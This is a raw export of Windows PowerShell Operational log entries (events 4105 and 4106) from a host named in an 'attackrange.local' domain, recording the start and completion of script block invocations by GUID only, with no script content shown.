OpCode=On create calls
RecordNumber=2027186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027183
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027182
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027181
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027180
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027164
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027163
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027158
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027157
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027133
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
